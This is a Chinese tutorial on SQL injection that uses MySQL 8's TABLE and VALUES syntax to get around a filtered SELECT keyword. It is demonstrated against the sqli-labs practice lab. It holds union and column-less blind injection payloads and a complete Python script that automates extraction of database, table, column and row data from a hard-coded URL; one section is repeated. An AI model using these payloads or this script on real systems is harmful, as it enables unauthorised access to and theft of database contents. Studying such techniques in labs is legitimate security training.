东隅 included in OWASP

2024-08-15 About 1600 words 8 minutes

Contents

官方表示MySQL8要比MySQL5.7快2倍，支持json,nosql，修改了默认身份验证等其他改进。

搭建MySQL8环境

最简单的方法，就是使用docker拉取镜像搭建

docker pull mysql:8.0.21
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21

搭建SQL注入环境

1.下载vulstudy综合环境：https://github.com/c0ny1/vulstudy

2.启动vulstudy综合环境里的sql注入的靶场

3.进入容器修改sqli-lab的配置文件：

#安装vim
sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list
apt-get clean && apt-get update && apt-get install vim
#修改sqli-lab的配置文件
vim /app/sql-connections/db-creds.inc

填写mysql相关连接信息，数据库的IP填宿主机IP(我这里是172.30.102.102)

4.然后在mysql8容器里通过下面sql语句修改默认认证方式(因为mysql8.0默认认证方式和5不一样)：

ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';

5.重新配置数据库，环境搭建完成。

MySQL8语法新特性

在MySQL 8.0.19之后，MySQL推出几种新语法

TABLE statement

TABLE statement 作用：列出表中全部内容

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE是MySQL 8.0.19中引入的DML语句，它返回命名表的行和列，类似于SELECT。支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。例子：首先选择mysql数据库：use security;

mysql> TABLE users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.01 sec)

加上order by排序或LIMIT限制后

table users order by password;
table users limit 1;
table users limit 0,1;
table users limit 1,1;

与SELECT的区别：

1.TABLE始终显示表的==所有列==

2.TABLE不允许对行进行任意过滤，即TABLE ==不支持任何WHERE子句==

VALUES statement

VALUES statement 作用：列出一行的值

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]

value_list:
    value[, value][, ...]

column_designator: 
    column_index

VALUES是把一组一个或多个行作为表展示出来，返回的也是一个表数据。 ROW()返回的是一个行数据，VALUES将ROW()返回的行数据加上字段整理为一个表，然后展示例子：

mysql> TABLE emails;
+----+------------------------+
| id | email_id               |
+----+------------------------+
|  1 | Dumb@dhakkan.com       |
|  2 | Angel@iloveu.com       |
|  3 | Dummy@dhakkan.local    |
|  4 | secure@dhakkan.local   |
|  5 | stupid@dhakkan.local   |
|  6 | superman@dhakkan.local |
|  7 | batman@dhakkan.local   |
|  8 | admin@dhakkan.com      |
+----+------------------------+
8 rows in set (0.00 sec)

mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM users;
+----------+----------+------------+
| column_0 | column_1 | column_2   |
+----------+----------+------------+
|        1 | 2        | 3          |
|        1 | Dumb     | Dumb       |
|        2 | Angelina | I-kill-you |
|        3 | Dummy    | p@ssword   |
|        4 | secure   | crappy     |
|        5 | stupid   | stupidity  |
|        6 | superman | genious    |
|        7 | batman   | mob!le     |
|        8 | admin    | admin      |
|        9 | admin1   | admin1     |
|       10 | admin2   | admin2     |
|       11 | admin3   | admin3     |
|       12 | dhakkan  | dumbo      |
|       14 | admin4   | admin4     |
+----------+----------+------------+
14 rows in set (0.00 sec)

利用MySQL8新特性绕过select

场景：select关键词被过滤，多语句无法使用

测试环境：

1.mysql命令终端

2.sqli-labs靶场Less-1

在mysql命令终端测试

判断列数

由于TABLE命令和VALUES返回的都是表数据，它们所返回的数据可以通过UNION语句联合起来，当列数不对时会报错，根据这点可以判断列数

使用values判断回显位

select * from users where id=-1 union values row(1,2,3);

列出所有数据库名

table information_schema.schemata;

盲注查询任意表中的内容

语句table users limit 1;的查询结果：

mysql> table users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

实质上是(id, username, password)与(1, 'Dumb', 'Dumb')进行比较，比较顺序为自左向右，第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。两个元组第一个字符比大小，如果第一个字符相等就比第二个字符的大小，以此类推，最终结果即为元组的大小。

mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
|                                 1 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+
| ((2,'','')<(table users limit 1)) |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+
| ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+
|                                   1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+
| ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+
| ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+
| ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)

需要注意的地方

1.当前判断的所在列的后一列需要用字符表示，不能用数字，否则判断到当前列的最后一个字符会判断不出！

2.最好用<=替换<，用<比较一开始并没有问题，但到最后一位时结果为正确字符的前一个字符，用<=结果更直观。

最终判断过程如下：

mysql> select ((1,'Dumb','Dumb')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumb')<=(table users limit 1)) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','Dumc')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumc')<=(table users limit 1)) |
+--------------------------------------------+
|                                          0 |
+--------------------------------------------+
1 row in set (0.00 sec)

在sqli-labs靶场测试

判断列数

使用经典的order by语句判断：

1' order by 3--+   #正常
1' order by 4--+   #显示Unknown column '4' in 'order clause'

说明有3列

使用values判断回显位

-1' union values row(1,2,3)--+

爆库爆表爆字段爆数据

（1）爆当前数据库

-1' union values row(1,database(),3)--+
#或利用盲注1' and ascii(substr((database()),1,1))=115--+   即s

（2）爆所有数据库 因为table不能像select控制列数，除非列数一样的表，不然都回显不出来。需要使用table查询配合无列名盲注 information_schema.schemata表有6列因为schemata表中的第一列是def，不需要判断，所以可以直接判断库名

1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误
#得到第1个数据库名的第一个字符为m
......
1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误

说明第1个数据库名为mysql3.爆库爆表爆字段爆数据

（1）爆当前数据库

-1' union values row(1,database(),3)--+
#或利用盲注1' and ascii(substr((database()),1,1))=115--+   即s

1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误
#得到第1个数据库名的第一个字符为m
......
1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误

说明第1个数据库名为mysql

1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常
1' and ('def','information_schemb','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显错误
#说明第2个数据库名为information_schema
......
一直猜解，直到获得全部数据库名

（3）爆数据表 information_schema.tables表有21列

1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users

1' and ('def','security','emails','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 318,1)--+ #第二个表emails

1' and ('def','security','uagents','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 319,1)--+ #第三个表uagents

1' and ('def','security','referers','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 320,1)--+ #第四个表referers

前两个字段都是确定的，可以写一个for循环判断，如果结果为真，代表从那行开始(这里是limit 317,1，即第318行)，然后盲注第三个列。 （4）爆字段名 information_schema.columns表有22列得到所有表名后开始判断字段名，找到columns表，具体方法和上面一样

1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id

1' and ('def','security','users','password','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3387,1)--+ #users表，第二个字段为password

1' and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3388,1)--+ #users表，第三个字段为username

（3）爆数据

1' and (1,'D','')<=(table users limit 1)--+ #正常
1' and (1,'E','')<=(table users limit 1)--+ #错误

#table users limit 1也就是table users limit 0,1
#1' and (1,'D','')<=(table users limit 0,1)--+ #正常
#1' and (1,'E','')<=(table users limit 0,1)--+ #错误
......
1' and (1,'Dumb','Dumb')<=(table users limit 1)--+ #正常
1' and (1,'Dumb','Dumc')<=(table users limit 1)--+ #错误

得到第1个记录为1 Dumb Dumb

1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常
1' and (8,'admin','admio')<=(table users limit 7,1)--+ #错误

得到第8个记录为8 admin admin 一步一步注出数据

脚本编写

一个一个手注，似乎有点麻烦。自己于是尝试写个脚本：

'''
@author qwzf
@desc 本脚本是用于mysql 8新特性的sql注入
@date 2021/02/18
'''
import requests
import string

url = 'http://121.41.231.75:8002/Less-8/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"

def current_db(url):
    print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
    print("请输入序号:",end='')
    num = int(input())
    if num == 1:
        payload = "-1' union values row(1,database(),3)--+"  #联合查询爆当前数据库(可修改)
        urls = url + payload
        r = requests.get(url=urls)
        print(r.text)
    else:
        name=''
        payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
        for i in range(1,40):
            char=''
            for j in chars:
                payloads = payload.format(i,ord(j))
                urls = url + payloads
                r = requests.get(url=urls)
                if "You are in" in r.text:
                    name += j
                    print(name)
                    char = j
                    break
            if char == '':
                break

def str2hex(name):
    res = ''
    for i in name:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

def dbs(url): #无列名盲注爆所有数据库(可修改)
    while True:
        print("请输入要爆第几个数据库，如：1,2等:",end='')
        x = int(input())-1
        num = str(x)
        if x < 0:
            break
        payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
    payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
    for i in range(0,10000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls)
        if 'You are in' in r.text:
            char = chr(ord(database[-1])+1)
            database = database[0:-1]+char
            payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
            urls = url + payld
            res = requests.get(url=urls)
            #print(i)
            if 'You are in' not in res.text:
                print('从第',i,'行开始爆数据表')   #判断开始行数
                n = i
                break
    return n

def tables(url,database,n):  #无列名盲注爆数据表(可修改)
    while True:
        print("请输入要爆第几个数据表，如：1,2等:",end='')
        x = int(input())-1
        num = str(x + n)
        if x < 0:
            break
        payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
    payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
    for i in range(3000,10000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls)
        if 'You are in' in r.text:
            char = chr(ord(table[-1])+1)
            table = table[0:-1]+char
            payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
            urls = url + payld
            res = requests.get(url=urls)
            #print(i)
            if 'You are in' not in res.text:
                print('从第',i,'行开始爆字段')   #判断开始行数
                n = i
                break
    return n

def columns(url,database,table,n):  #无列名盲注爆字段值(可修改)
    while True:
        print("请输入要爆第几个字段，如：1,2等:",end='')
        x = int(input())-1
        num = str(x + n)
        if x < 0:
            break
        payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

def datas(url,table):  #无列名盲注爆数据(可修改)
    while True:
        print("请输入要爆第几个数据，如：1,2等:",end='')
        x = int(input())
        y = x-1
        num = str(y)
        if y < 0:
            break
        payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

if __name__ == "__main__":
    while True:
        print("请输入要操作的内容：\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
        types = int(input())
        if types == 1:
            current_db(url)
        elif types == 2 or types == 3:
            print("请输入已经得到的数据库名:",end='')
            database = input()
            if types == 2:
                tables_n(url,database)
            elif types == 3:
                print("爆数据表开始行号:",end='')
                n = int(input())
                tables(url,database,n)
        elif types == 4 or types == 5:
            print("请输入已经得到的数据库名:",end='')
            database = input()
            print("请输入已经得到的数据表名:",end='')
            table = input()
            if types == 4:
                columns_n(url,database,table)
            elif types == 5:
                print("爆字段值开始行号:",end='')
                n = int(input())
                columns(url,database,table,n)
        elif types == 6:
            print("请输入要查询的数据表名:",end='')
            table = input()
            datas(url,table)
        else:
            dbs(url)

经测试基本没有问题。上边脚本是get型传参，且参数名为id的脚本。可根据实际情况进行修改。

https://www.anquanke.com/post/id/231627

SQL注入-Mysql8新特性

搭建MySQL8环境

搭建SQL注入环境

MySQL8语法新特性

TABLE statement

VALUES statement

利用MySQL8新特性绕过select

在mysql命令终端测试

判断列数

使用values判断回显位

列出所有数据库名

盲注查询任意表中的内容

需要注意的地方

在sqli-labs靶场测试

判断列数

使用values判断回显位

爆库爆表爆字段爆数据

脚本编写